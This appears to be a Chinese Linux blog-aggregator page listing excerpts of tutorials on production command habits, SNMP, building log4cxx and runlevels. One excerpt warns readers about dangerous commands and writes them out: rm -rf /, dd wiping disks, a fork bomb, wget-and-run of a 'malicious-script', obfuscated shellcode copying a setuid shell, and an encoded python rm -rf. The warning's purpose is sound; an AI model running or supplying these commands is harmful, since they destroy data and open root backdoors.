技术改变世界 阅读塑造人生! - shaogx.com

This string was altered by TechBlog\Plugins\Example.; This is an example to show the potential of an offcanvas layout pattern in Bootstrap. Try some responsive-range viewport sizes to see it in action.

生产环境使用linux命令的几个注意点

线上不能对于超过100M文件进行VI编辑, VI使用后要正确退出,例如: :wq、:x线上不要使用top命令查看线上不要grep大文件。线上不能随意下载超过100M以上的文件。线上不要在RD目录下面存放数据,或运行任何程序。线上运行crontab输出要重定向到 & > /dev/null 2>&1... 全文

linux linux系统 生产 linux命令

SNMP在linux5平台下的配置

SNMP作为标准的网络管理协议,已成为工业标准。基本上大多数的产品都支持SNMP,作为linux系统同样如此,下面来看一下linux5上如何配置SNMP代理Step1:安装SNMP相关软件包默认情况下没有安装,安装过程参考下图lStep2:编辑配置文件... 全文

SNMP linux5 linux linux平台 休闲

夹缝中顽强生存 五款主流Linux系统(1)

来自国外Softpedia的消息,九月份, Linux系统家族将迎来旗下著名的两个品牌Redhat和Ubuntu的最新版本。目前,虽然市场中仍是Windows和MacOS的天下,但基于Linux内核的操作系统一直在两大巨头的夹缝中顽强生存,并依靠其自身独特的优点获得不少用户的青睐。1、Red Hat Enterprise Linux 5图(1)... 全文

Linux系统 Linux Linux系统

如何学习Linux经验分享及linux起源与发展

如何快速进入Linux开源世界及如何学习Linux方法; 对于如何通过从Windows到Linux的过度阶段:笔者在学习的时候及参加培训的时候的经历分享给大家:        无论接触什么新知识都要对它产生浓厚的兴趣,把它当做朋友,这样才会越来越了解它,越来越熟悉它,Linux也不例外,虽然入门时很困难的,但是一旦你对它产生兴趣,你就想越来越想了解它,越来越想操纵它,这样就可以从windows过度到Linux。        对所学过的命令要常常复习,遇到不熟悉的命令要学会是用帮助命令如:man、info都可以给我们提供很大的帮助。笔者相信:浓厚的兴趣+理论实践相结合+长期不懈的努力,一定会得到意向不到的收获。对于刚入门Linux的朋友来说,不知道该如何学习Linux,笔者在这里告诉博友,学习好基础知识才是重之重,因为在后续的服务的学习,会给我带来很大的帮助。        对所有的知识点要经常加以总结,这样你就可以知道哪里不明白的知识点了,而且要对不明白的,一定要查阅资料或询问懂的朋友们,这样你才会不断进步,这样才会打下很牢的基础。       无论学习什么,你必须要了解它的前身它的发展历史,这样才会让你对它有更多的了解,下面我们就会介绍下LINUX的起源与发展。 LINUX起源与发展 一、LINUX简介:... 全文

GNU GPL linux历史 linux开源

linux命令行界面转换xls到csv

网上看了,有两个软件,一个是catdoc (这个实在不靠谱,如果你的表格有日期的话,日期肯定不正确....) ... 全文

linux xls2csv linux系统 linux命令

linux命令之tar中的exclude参数

tar -zcf 1234.tgz *.log --exclude={xinfa*.log,pet*.log,Waigua*.log,SceneInfo*.log,money*.log,MIP*.log,item*.log,Exp*.log,exchage*.log}本文出自 “Fight For Free & Union” 博客,请务必保留此出处http://renpeng.blog.51cto.com/623897/1107066... 全文

linux linux系统 money linux命令 pet

【连载四】新手如何安装linux操作系统

首先我们要确定安装哪个发行版本的系统??目前市场上的发行版本很多,在这里我选择Centos为例,因为目前百度,腾讯,新浪等等很多公司都是以Centos为主那么实际工作中我们是如何来给服务器安装linux操作系统呢?很简单,下载一个centos的镜像文件,目前公司里用的最多的是centos 6.5的版本,那么只需要下载这样一个版本的镜像文件,然后刻录成光盘,再放到服务器的光驱里就可以安装了而我们在学习的时候由于身边没有服务器,所以没有办法这么做,那么就需要我们安装一个虚拟机软件,然后在虚拟机里构建一个linux服务器,这样就跟实际在服务器上安装一模一样了,没有任何区别,有的朋友会问,老师可不可以安装一个双系统,其实完全没必要,双系统哪有我们真实的windows系统+虚拟机方便呢???... 全文

linux安装 linux学习 linux 操作系统

log4cxx在linux下的编译使用

     最近在linux下使用log4cxx库,按照其官方文档提供的方法来进行编译,不能成功,又利用google搜索了好几个中文博客上讲述在linux下编译使用log4cxx库的方法,依然不能成功,在这里我奉劝写博客或是转载博客指导人的朋友们,首先您起码得自己按照您写的或是转载的编译通过了再发表文章吧,其中有几处明显的低级错误,另外,建议您把你编译时的具体的linux系统及版本附带上,这样才能够成一条完整的信息链,一定要对自己或是转载的文章负责。下面我把我编译log4cxx过程给大家讲述下:系统平台 CentOS 6.3   linux内核版本 2.6   g++ (GCC) 4.4.6  以下是详细的编译过程:一.下载解压http://logging.apache.org/log4cxx/http://apr.apache.org/apr-1.4.6.tar.gz,  apr-util-1.4.1.tar.gz,  apache-log4cxx-0.10.0.tar.gz1.tar zxvf apr-1.4.6.tar.gz2.tar zxvf apr-util-1.4.1.tar.gz3.tar zxvf apache-log4cxx-0.10.0.tar.gz二 .编译安装首先安装apr-1.4.6,切换cd apr-1.4.6,配置./configure --prefix=/usr/local/apr,接着make, make install接着安装apr-util-1.4.1,切换至cd ../apr-util-1.4.1, ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr,接着make,make install;最后安装apache-log4cxx-0.10.0,切换cd ../apache-log4cxx-0.10.0,配置./configure --prefix=/usr/local/log4cxx --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util注意配置前需进行以下操作:1.vim src/main/cpp/inputstreamreader.cpp增加#include <string.h>;#include <log4cxx/logstring.h>#include <log4cxx/helpers/inputstreamreader.h>#include <log4cxx/helpers/exception.h>#include <log4cxx/helpers/pool.h>#include <log4cxx/helpers/bytebuffer.h>+#include <string.h>+否则会出现inputstreamreader.cpp:66: error: 'memmove' was not declared in this scopemake[3]: *** [inputstreamreader.lo] 错误 12.vim src/main/cpp/socketoutputstream.cpp增加#include <string.h>;#include <log4cxx/logstring.h>#include <log4cxx/helpers/socketoutputstream.h>#include <log4cxx/helpers/socket.h>#include <log4cxx/helpers/bytebuffer.h>+#include <string.h>+否则会出现socketoutputstream.cpp:52: error: 'memcpy' was not declared in this scope3.vim src/examples/cpp/console.cpp增加#include <string.h>,#include <stdio.h>;+#include <stdio.h>+#include <stdlib.h>+#include <string.h>+#include <log4cxx/logger.h>#include <log4cxx/consoleappender.h>#include <log4cxx/simplelayout.h>#include <log4cxx/logmanager.h>#include <iostream>#include <locale.h>否则会出现console.cpp: In function ‘int main(int, char**)’:console.cpp:58: 错误:‘puts’在此作用域中尚未声明三.测试1.代码:#include <log4cxx/logger.h>    #include <log4cxx/logstring.h> #include <log4cxx/propertyconfigurator.h> int main(int argc, char* argv[]) {         using namespace log4cxx;         // 读取配置文件         PropertyConfigurator::configure("conf.log");         // 建立两个logger         LoggerPtr logger1 = Logger::getLogger("TraceYourMama");         LoggerPtr logger2 = Logger::getLogger("Patch");         LOG4CXX_TRACE(logger1, "跟踪");         LOG4CXX_WARN(logger1, "警告");         LOG4CXX_DEBUG(logger1, "调试");         LOG4CXX_ASSERT(logger1, false, "断言");         LOG4CXX_FATAL(logger1, "致命");         LOG4CXX_TRACE(logger2, "跟踪");         LOG4CXX_ERROR(logger2, "错误");         return 0; } 配置文件conf.log的内容log4j.rootLogger=TRACE, stdout, logfilelog4j.appender.stdout=org.apache.log4j.ConsoleAppenderlog4j.appender.stdout.layout=org.apache.log4j.PatternLayoutlog4j.appender.stdout.layout.ConversionPattern=%d [%t] %-5p %c - %m%nlog4j.appender.logfile=org.apache.log4j.RollingFileAppenderlog4j.appender.logfile.File=./ZW.loglog4j.appender.logfile.MaxFileSize=100KBlog4j.appender.logfile.MaxBackupIndex=10log4j.appender.logfile.layout=org.apache.log4j.PatternLayoutlog4j.appender.logfile.layout.ConversionPattern=%d [%t] %-5p %c - %m%运行时记得export LD_LIBRARY_PATH=/usr/local/log4cxx/lib:$LD_LIBRARY_PATH本文出自 “永远的朋友” 博客,请务必保留此出处http://yaocoder.blog.51cto.com/2668309/980276... 全文

linux系统 linux编译 log4cxx linux

linux运行级别0

说明:本文为老男孩linux培训某节课前考试试题及答案分享博文内容的一部分,也是独立成题的,你可以点下面地址查看全部的内容信息。http://oldboy.blog.51cto.com/2561410/791245 4. 描述linux运行级别0-6的各自含义(记时1分钟)中文:0:关机1:单用户模式2:无网络支持的多用户模式3:有网络支持的多用户模式(文本模式,工作中最常使用的模式)4:保留,未使用... 全文

linux启动过程 老男孩linux培训 培训考试题 linux 休闲

千万千万不要运行的Linux命令

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。sudo rm -rf / 删除根分区全部的文件sudo rm -rf . 删除当前目录下的所有文件sudo rm -rf * 同上rm -rf * or rm -rf *.* 同上rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。 同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:sudo mkfs.xxxx dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。 同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:any_command > /dev/sda 用随意的数据破坏硬盘 上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源::(){:|:&};: 这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:fork while fork 有的时候,压缩包也是一个破坏来源~有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:wget [url]http://some_place/some_file[/url]sh ./some_filewget [url]http://hax018r.org/malicious-script[/url]sh ./malicious-script 载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:char esp[] __attribute__ ((section(".text"))) /* e.s.prelease */= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68""xffxffxffxffx68xdfxd0xdfxd9x68x8dx99""xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7""x56x04xf7x56x08xf7x56x0cx83xc4x74x56""x8dx73x08x56x53x54x59xb0x0bxcdx80x31""xc0x40xebxf9xe8xbdxffxffxffx2fx62x69""x6ex2fx73x68x00x2dx63x00""cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;"; 上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。python 一类的脚本语言,同样可以拿来搞破坏:python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))' 这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!那么我们如何避免运行恶意程序呢?第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。第三要保证软件、脚本的来源正规。最后一点,虽然比较消极,但是确实十分重要的一点:经常备份你的数据!!... 全文

命令 Linux 职场 休闲 linux系统 linux命令

Tiny Core Linux 5.1 发布

Tiny Core Linux 5.1 发布,下载地址:... 全文

Linux发行 Tiny Core Linux Tiny Core Linux 5.1

深入浅出linux三剑客之sed必杀技一例

缘起:上完培训课后,同学们对sed加正则处理问题的热情高涨,氛围相当好,但是,有个别同学还是有些晕乎,因此,撰写此文。此例如果搞熟练了,sed和正则的大部分常用技术你掌握起来就简单了。如果还有不会的,老男孩就拿出最后的讲解必杀技(先保密,嘿!),同学们想不会那是不可能的,除非你们自己主动放弃,哈哈。来,开整~!老男孩linux培训第三节课程课前第考试一题,问题如下... 全文

sed linux运维 linux linux系统

Linux下文件搜索、处理实例心得

Linux下文件搜索处理实例心得一、locate:    locate [选项] 关键词    在文件数据库中查询匹配搜索条件的文件。选项:-i:搜索时是否区分大小写,默认区分;加上这个选项就不区分大小写;-n X:只显示前X个匹配项目; 备注:*文件数据库是有管理员使用updatedb来生成或者更新的,否则新建立的文件会查不到;一般情况下数据库在后台自动建立更新。*搜索的是全路径,不单单是文件名。 二、find:find [目录……] [条件……]    比locate命令慢,但更加准确;*如果没有指定目录,则在当前目录查询;*如果没有指定条件则匹配所有条件;可以在找到的文件上执行命令:使用选项-ok或者-exec1、基本条件:1)-name 文件名:查找匹配文件名;... 全文

find locate linux文件搜索 linux linux文件查找

Linux服务器登录时显示系统相关资源使用情况

收集系统资源脚本如下:collection_info_product.sh#!/bin/bash# The login server, display the relevant information.# write to Linuxtone:liweizhong# version 1.0 update 2013.08.13# email: liweizhong@anytracking.com by gosafe# Product INFO... 全文

Linux登录信息 linux Linux用户登录信息显示

“Linux频道”有链接打不开

51CTO首页点击导航栏中的“Linux”链接,来到“Linux频道”,地址为http://os.51cto.com/linux。再在该页点击该频道导航栏中的“Linux安全”链接,则报404错误!        本文出自 “IT昆仑” 博客,谢绝转载!... 全文

51CTO Linux频道 系统 Linux安全 linux

业界观察:Linux下的显卡硬解码混战

Windows 下有 DXVA,符合规范的解码器能够利用显卡的运算能力进行视频的部分甚至全部解码工作。现在 ATI 的 UVD2 和 NVIDIA 的 PureVideoHD 已经趋于成熟了。Intel 的 ClearVideo 也在进步中。总之使用 Windows 的用户可以尽情享受新型显卡带来的好处。... 全文

Linux显卡硬解码 Linux驱动 Linux显卡驱动

LINUX基本命令及特殊用法

常用基本命令1.    ls  -ld 目录本身的详细信息                  ls   -R 递归显示目录及其子目录的 内容     ---a显示包括隐藏文件信息 2.cp copy文件   如果目标是一个目录,则可同时copy多个文件    cp  a b c  /home/testdir   -i 选项在覆盖另一个已存文件时等待用户确认   当复制到某一目录下是  目标目录后加\   如果复制的目标与已存在的目录同名   则把源文件放在此目录下3.stat  文件名  三个时间戳  Access最近访问时间   Modify 文件内容的改变     Channge 无奈属性的改变     touch  三个时间都改变 tree加以目录名可以显示 目录树形状                    4.    目录创建  mkdir   -p 创建一个目录时,如果父目录不存在,先创建父目录在创建子目录,删除空目录 rmdir     rm -r   递归地删除整个目录树... 全文

linux基本命令 linux cp的特殊讲解   ls linux 休闲 职场

4 5 6 7 8 9 10 11 12 13